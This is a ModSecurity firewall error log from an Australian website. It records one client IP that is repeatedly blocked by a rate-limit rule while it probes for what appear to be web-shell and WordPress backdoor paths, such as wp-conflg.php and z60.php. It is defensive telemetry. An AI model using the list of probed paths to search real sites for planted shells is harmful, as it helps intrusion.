[Thu Jan 08 04:37:44.310495 2026] [:error] [pid 15265:tid 15334] [client 4.194.192.180:7105] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gtc.php"] [unique_id "aV7EGKE6VBKhew2LTFSC3gAAAIg"]
[Thu Jan 08 04:37:44.612983 2026] [:error] [pid 15265:tid 15340] [client 4.194.192.180:7116] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gtc.php"] [unique_id "aV7EGKE6VBKhew2LTFSC3wAAAI4"]
[Thu Jan 08 04:37:45.115620 2026] [:error] [pid 15358:tid 15376] [client 4.194.192.180:26426] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gtc.php"] [unique_id "aV7EGSoRk9xWJ3toSBKldAAAAMY"]
[Thu Jan 08 04:37:45.360316 2026] [:error] [pid 15358:tid 15392] [client 4.194.192.180:26411] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gtc.php"] [unique_id "aV7EGSoRk9xWJ3toSBKldQAAANY"]
[Thu Jan 08 04:37:45.571668 2026] [:error] [pid 15358:tid 15380] [client 4.194.192.180:26479] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/atx.php"] [unique_id "aV7EGSoRk9xWJ3toSBKldgAAAMo"]
[Thu Jan 08 04:37:45.879355 2026] [:error] [pid 15358:tid 15381] [client 4.194.192.180:26403] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/atx.php"] [unique_id "aV7EGSoRk9xWJ3toSBKldwAAAMs"]
[Thu Jan 08 04:37:46.110121 2026] [:error] [pid 15358:tid 15391] [client 4.194.192.180:26440] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/atx.php"] [unique_id "aV7EGioRk9xWJ3toSBKleAAAANU"]
[Thu Jan 08 04:37:46.366234 2026] [:error] [pid 15358:tid 15372] [client 4.194.192.180:26428] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/atx.php"] [unique_id "aV7EGioRk9xWJ3toSBKleQAAAMI"]
[Thu Jan 08 04:37:46.651525 2026] [:error] [pid 15265:tid 15335] [client 4.194.192.180:26486] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/z60.php"] [unique_id "aV7EGqE6VBKhew2LTFSC4gAAAIk"]
[Thu Jan 08 04:37:46.876169 2026] [:error] [pid 15264:tid 15319] [client 4.194.192.180:26439] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/z60.php"] [unique_id "aV7EGoov6_kvS0Owh-pjmAAAAFQ"]
[Thu Jan 08 04:37:47.210240 2026] [:error] [pid 15265:tid 15332] [client 4.194.192.180:7109] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/z60.php"] [unique_id "aV7EG6E6VBKhew2LTFSC5QAAAIY"]
[Thu Jan 08 04:37:47.616273 2026] [:error] [pid 15358:tid 15370] [client 4.194.192.180:26379] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/z60.php"] [unique_id "aV7EGyoRk9xWJ3toSBKlegAAAMA"]
[Thu Jan 08 04:37:48.024222 2026] [:error] [pid 15358:tid 15393] [client 4.194.192.180:26493] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/403.php"] [unique_id "aV7EHCoRk9xWJ3toSBKlewAAANc"]
[Thu Jan 08 04:37:48.553623 2026] [:error] [pid 15263:tid 15275] [client 4.194.192.180:26444] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/403.php"] [unique_id "aV7EHNv61bxum7WG_e9BIwAAAAM"]
[Thu Jan 08 04:37:49.085974 2026] [:error] [pid 15264:tid 15307] [client 4.194.192.180:26399] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/403.php"] [unique_id "aV7EHYov6_kvS0Owh-pjmgAAAEg"]
[Thu Jan 08 04:37:49.626753 2026] [:error] [pid 15263:tid 15279] [client 4.194.192.180:26442] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/403.php"] [unique_id "aV7EHdv61bxum7WG_e9BJgAAAAc"]
[Thu Jan 08 04:37:50.359623 2026] [:error] [pid 15265:tid 15349] [client 4.194.192.180:26477] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/m.php"] [unique_id "aV7EHqE6VBKhew2LTFSC6gAAAJc"]
[Thu Jan 08 04:37:50.737251 2026] [:error] [pid 15264:tid 15309] [client 4.194.192.180:26433] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/m.php"] [unique_id "aV7EHoov6_kvS0Owh-pjnQAAAEo"]
[Thu Jan 08 04:37:50.997444 2026] [:error] [pid 15358:tid 15373] [client 4.194.192.180:7107] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/m.php"] [unique_id "aV7EHioRk9xWJ3toSBKlgAAAAMM"]
[Thu Jan 08 04:37:51.248057 2026] [:error] [pid 15265:tid 15327] [client 4.194.192.180:7129] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/m.php"] [unique_id "aV7EH6E6VBKhew2LTFSC6wAAAIE"]
[Thu Jan 08 04:37:51.795426 2026] [:error] [pid 15358:tid 15390] [client 4.194.192.180:7146] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes.php"] [unique_id "aV7EHyoRk9xWJ3toSBKlgQAAANQ"]
[Thu Jan 08 04:37:52.563693 2026] [:error] [pid 15358:tid 15371] [client 4.194.192.180:26390] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes.php"] [unique_id "aV7EICoRk9xWJ3toSBKlhAAAAME"]
[Thu Jan 08 04:37:53.132177 2026] [:error] [pid 15358:tid 15376] [client 4.194.192.180:26490] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes.php"] [unique_id "aV7EISoRk9xWJ3toSBKlhQAAAMY"]
[Thu Jan 08 04:37:53.383062 2026] [:error] [pid 15265:tid 15326] [client 4.194.192.180:26443] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes.php"] [unique_id "aV7EIaE6VBKhew2LTFSC7gAAAIA"]
[Thu Jan 08 04:37:53.718605 2026] [:error] [pid 15264:tid 15311] [client 4.194.192.180:26432] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aV7EIYov6_kvS0Owh-pjoAAAAEw"]
[Thu Jan 08 04:37:54.237972 2026] [:error] [pid 15265:tid 15345] [client 4.194.192.180:7149] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aV7EIqE6VBKhew2LTFSC8AAAAJM"]
[Thu Jan 08 04:37:54.477463 2026] [:error] [pid 15264:tid 15306] [client 4.194.192.180:26441] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aV7EIoov6_kvS0Owh-pjowAAAEc"]
[Thu Jan 08 04:37:54.907569 2026] [:error] [pid 15265:tid 15350] [client 4.194.192.180:26388] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aV7EIqE6VBKhew2LTFSC8gAAAJg"]
[Thu Jan 08 04:37:55.750161 2026] [:error] [pid 15264:tid 15315] [client 4.194.192.180:26429] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/network/wp-conflg.php"] [unique_id "aV7EI4ov6_kvS0Owh-pjpQAAAFA"]
[Thu Jan 08 04:37:56.275844 2026] [:error] [pid 15264:tid 15305] [client 4.194.192.180:26410] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/network/wp-conflg.php"] [unique_id "aV7EJIov6_kvS0Owh-pjqAAAAEY"]
[Thu Jan 08 04:37:56.808866 2026] [:error] [pid 15265:tid 15330] [client 4.194.192.180:26371] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/network/wp-conflg.php"] [unique_id "aV7EJKE6VBKhew2LTFSC8wAAAIQ"]
[Thu Jan 08 04:37:57.055637 2026] [:error] [pid 15265:tid 15332] [client 4.194.192.180:26375] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/network/wp-conflg.php"] [unique_id "aV7EJaE6VBKhew2LTFSC9gAAAIY"]
[Thu Jan 08 04:37:57.492718 2026] [:error] [pid 15263:tid 15274] [client 4.194.192.180:26445] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/click.php"] [unique_id "aV7EJdv61bxum7WG_e9BMwAAAAI"]
[Thu Jan 08 04:37:57.737391 2026] [:error] [pid 15358:tid 15391] [client 4.194.192.180:26485] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/click.php"] [unique_id "aV7EJSoRk9xWJ3toSBKliQAAANU"]
[Thu Jan 08 04:37:58.158696 2026] [:error] [pid 15358:tid 15370] [client 4.194.192.180:26402] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/click.php"] [unique_id "aV7EJioRk9xWJ3toSBKliwAAAMA"]
[Thu Jan 08 04:37:58.587038 2026] [:error] [pid 15265:tid 15336] [client 4.194.192.180:26436] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/click.php"] [unique_id "aV7EJqE6VBKhew2LTFSC-AAAAIo"]
[Thu Jan 08 04:37:58.911115 2026] [:error] [pid 15265:tid 15328] [client 4.194.192.180:26380] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/install.php"] [unique_id "aV7EJqE6VBKhew2LTFSC-QAAAII"]
[Thu Jan 08 04:37:59.226260 2026] [:error] [pid 15264:tid 15309] [client 4.194.192.180:7070] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/install.php"] [unique_id "aV7EJ4ov6_kvS0Owh-pjqwAAAEo"]
[Thu Jan 08 04:37:59.694837 2026] [:error] [pid 15358:tid 15387] [client 4.194.192.180:26463] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/install.php"] [unique_id "aV7EJyoRk9xWJ3toSBKlkAAAANE"]
[Thu Jan 08 04:38:00.044528 2026] [:error] [pid 15358:tid 15374] [client 4.194.192.180:26453] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/install.php"] [unique_id "aV7EKCoRk9xWJ3toSBKlkQAAAMQ"]
[Thu Jan 08 04:38:00.430319 2026] [:error] [pid 15264:tid 15315] [client 4.194.192.180:26391] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lv.php"] [unique_id "aV7EKIov6_kvS0Owh-pjsQAAAFA"]
[Thu Jan 08 04:38:00.697256 2026] [:error] [pid 15264:tid 15322] [client 4.194.192.180:26420] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lv.php"] [unique_id "aV7EKIov6_kvS0Owh-pjsgAAAFc"]
[Thu Jan 08 04:38:00.984818 2026] [:error] [pid 15264:tid 15310] [client 4.194.192.180:26424] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lv.php"] [unique_id "aV7EKIov6_kvS0Owh-pjswAAAEs"]
[Thu Jan 08 04:38:01.222852 2026] [:error] [pid 15263:tid 15289] [client 4.194.192.180:7113] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lv.php"] [unique_id "aV7EKdv61bxum7WG_e9BOwAAABE"]
[Thu Jan 08 04:38:01.496674 2026] [:error] [pid 15263:tid 15290] [client 4.194.192.180:7115] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/simple.php"] [unique_id "aV7EKdv61bxum7WG_e9BPwAAABI"]
[Thu Jan 08 04:38:01.765381 2026] [:error] [pid 15263:tid 15275] [client 4.194.192.180:26430] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/simple.php"] [unique_id "aV7EKdv61bxum7WG_e9BQQAAAAM"]
[Thu Jan 08 04:38:01.986949 2026] [:error] [pid 15264:tid 15319] [client 4.194.192.180:26415] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/simple.php"] [unique_id "aV7EKYov6_kvS0Owh-pjtwAAAFQ"]
[Thu Jan 08 04:38:02.389467 2026] [:error] [pid 15263:tid 15293] [client 4.194.192.180:26416] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/simple.php"] [unique_id "aV7EKtv61bxum7WG_e9BRAAAABU"]
[Thu Jan 08 04:38:02.717282 2026] [:error] [pid 15265:tid 15339] [client 4.194.192.180:26469] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css.php"] [unique_id "aV7EKqE6VBKhew2LTFSC-gAAAI0"]
[Thu Jan 08 04:38:02.966465 2026] [:error] [pid 15358:tid 15377] [client 4.194.192.180:7114] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css.php"] [unique_id "aV7EKioRk9xWJ3toSBKllgAAAMc"]
[Thu Jan 08 04:38:03.218225 2026] [:error] [pid 15263:tid 15291] [client 4.194.192.180:26398] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css.php"] [unique_id "aV7EK9v61bxum7WG_e9BSAAAABM"]
[Thu Jan 08 04:38:03.559913 2026] [:error] [pid 15263:tid 15284] [client 4.194.192.180:7108] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css.php"] [unique_id "aV7EK9v61bxum7WG_e9BSQAAAAw"]
[Thu Jan 08 04:38:04.143372 2026] [:error] [pid 15358:tid 15384] [client 4.194.192.180:7142] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cong.php"] [unique_id "aV7ELCoRk9xWJ3toSBKlmgAAAM4"]
[Thu Jan 08 04:38:04.533085 2026] [:error] [pid 15358:tid 15372] [client 4.194.192.180:26368] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cong.php"] [unique_id "aV7ELCoRk9xWJ3toSBKlnAAAAMI"]
[Thu Jan 08 04:38:04.755696 2026] [:error] [pid 15263:tid 15285] [client 4.194.192.180:7136] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cong.php"] [unique_id "aV7ELNv61bxum7WG_e9BSwAAAA0"]
[Thu Jan 08 04:38:04.956412 2026] [:error] [pid 15358:tid 15373] [client 4.194.192.180:26491] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cong.php"] [unique_id "aV7ELCoRk9xWJ3toSBKlnQAAAMM"]
